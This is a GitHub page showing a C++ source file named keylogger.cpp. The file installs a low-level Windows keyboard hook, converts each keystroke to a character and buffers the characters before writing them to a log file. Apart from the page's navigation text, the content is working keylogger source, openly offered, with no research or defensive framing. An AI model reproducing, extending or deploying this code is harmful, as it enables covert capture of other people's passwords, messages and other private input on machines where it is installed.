-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.cpp
60 lines (50 loc) · 1.38 KB
/
keylogger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "globals.h"
#include "kbdext.h"
HHOOK hKeyHook;
KBDLLHOOKSTRUCT kbdStruct;
BYTE nkKeyState[256];
WCHAR nkBuffer[16];
std::string nkContentBuffer = "";
WCHAR nkDeadChar;
__declspec(dllexport) LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
kbdStruct = *((KBDLLHOOKSTRUCT *)lParam);
char nkKey = (char)kbdStruct.vkCode;
WCHAR nkCleanKey = '\0';
int nkConvertCode = 0;
GetKeyboardState((PBYTE)&nkKeyState);
nkConvertCode = convertVirtualKeyToWChar(kbdStruct.vkCode, (PWCHAR)&nkCleanKey, (PWCHAR)&nkDeadChar);
#ifdef _DEBUG_
std::cout << nkCleanKey << std::endl;
#endif
nkContentBuffer += nkCleanKey;
if (nkContentBuffer.length() >= MAX_LOG_SIZE)
{
writeToLog(nkContentBuffer);
nkContentBuffer = "";
}
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
void MsgLoop()
{
MSG message;
while(GetMessage(&message, nullptr, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}
DWORD WINAPI keys(LPVOID lpParameter)
{
HINSTANCE kbdLibrary = loadKeyboardLayout();
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR)lpParameter);
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}